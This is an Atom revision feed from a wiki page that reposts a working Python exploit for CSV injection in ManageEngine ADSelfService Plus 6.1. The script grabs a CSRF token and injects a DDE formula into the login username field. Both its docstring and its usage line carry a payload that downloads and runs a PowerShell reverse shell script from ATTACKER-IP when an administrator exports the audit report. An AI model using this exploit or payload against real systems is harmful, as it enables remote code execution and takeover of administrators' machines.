<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=ManageEngine_ADSelfService_Plus_6.1_CSV%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>ManageEngine ADSelfService Plus 6.1 CSV注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=ManageEngine_ADSelfService_Plus_6.1_CSV%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=ManageEngine_ADSelfService_Plus_6.1_CSV%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T19:43:26Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=ManageEngine_ADSelfService_Plus_6.1_CSV%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=2994&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: ManageEngine ADSelfService Plus 6.1 - CSV Injection # Date: 19/05/2021 # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.man...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=ManageEngine_ADSelfService_Plus_6.1_CSV%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=2994&amp;oldid=prev"/>
		<updated>2021-05-20T01:57:08Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: ManageEngine ADSelfService Plus 6.1 - CSV Injection # Date: 19/05/2021 # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.man...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: ManageEngine ADSelfService Plus 6.1 - CSV Injection&lt;br /&gt;
# Date: 19/05/2021&lt;br /&gt;
# Exploit Author: Metin Yunus Kandemir&lt;br /&gt;
# Vendor Homepage: https://www.manageengine.com/&lt;br /&gt;
# Software Link: https://www.manageengine.com/products/self-service-password/download.html&lt;br /&gt;
# Version: 6.1&lt;br /&gt;
# Description: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import urllib3&lt;br /&gt;
&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
Proof of Concept:&lt;br /&gt;
Step-1&lt;br /&gt;
1- Malicious user sends POST request to login page https://TARGET-IP/j_security_check and sets j_username parameter as like the below.&lt;br /&gt;
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0&lt;br /&gt;
Step-2&lt;br /&gt;
2- The request attempt will be saved to&amp;quot;User Attempts Audit Report&amp;quot; table that is under the Reports &amp;gt;  Audit Reports section. Url: https://TARGET-IP/webclient/index.html#/reports/listReports/12&lt;br /&gt;
j_username parameter value  is saved  to &amp;quot;User Name&amp;quot;  column which is start of line in the CSV file. If admin user exports this table as CSV file and confirms the alert popup, reverse shell connection &lt;br /&gt;
will be obtained by malicious user. &lt;br /&gt;
Details: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def loginReq(target,payload,getCsrf):&lt;br /&gt;
    s = requests.Session()&lt;br /&gt;
    data = {&lt;br /&gt;
        &amp;quot;j_username&amp;quot;: payload,&lt;br /&gt;
        &amp;quot;j_password&amp;quot;: &amp;quot;joker&amp;quot;,&lt;br /&gt;
        &amp;quot;domainName&amp;quot;: &amp;quot;ADSelfService+Plus+Authentication&amp;quot;,&lt;br /&gt;
        &amp;quot;AUTHRULE_NAME&amp;quot;: &amp;quot;ADAuthenticator&amp;quot;,&lt;br /&gt;
        &amp;quot;adscsrf&amp;quot;: getCsrf&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
    url = &amp;quot;https://&amp;quot;+target+&amp;quot;/j_security_check&amp;quot;&lt;br /&gt;
    req = s.post(url, data=data, allow_redirects=False, verify=False)&lt;br /&gt;
    if req.status_code == 302:&lt;br /&gt;
    	print(&amp;quot;[+] Sending request is successful.&amp;quot;)&lt;br /&gt;
    	print(&amp;quot;[+] Injected payload: %s&amp;quot; %payload)&lt;br /&gt;
    else:&lt;br /&gt;
    	print(&amp;quot;[-] Something went wrong!&amp;quot;)&lt;br /&gt;
    	print(req.status_code)&lt;br /&gt;
&lt;br /&gt;
def getCsrfToken(target, payload=None):&lt;br /&gt;
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)&lt;br /&gt;
    gUrl = &amp;quot;https://&amp;quot; + target + &amp;quot;/authorization.do&amp;quot;&lt;br /&gt;
    getCsrf = requests.get(url=gUrl, allow_redirects=False, verify=False)&lt;br /&gt;
    print(&amp;quot;[*] Csrf token: %s&amp;quot; %getCsrf.cookies['_zcsr_tmp'])&lt;br /&gt;
    loginReq(target,payload,getCsrf)&lt;br /&gt;
&lt;br /&gt;
def main(args):&lt;br /&gt;
    if len(args) != 3:&lt;br /&gt;
        print(&amp;quot;usage: %s targetIp:port payload&amp;quot; %(args[0]))&lt;br /&gt;
        print(&amp;quot;Example: python3 adSelfServiceCsv.py 192.168.1.253:9251 \&amp;quot;=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0\&amp;quot;&amp;quot;)&lt;br /&gt;
        sys.exit(1)&lt;br /&gt;
    getCsrfToken(target=args[1], payload=args[2])&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    main(args=sys.argv)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>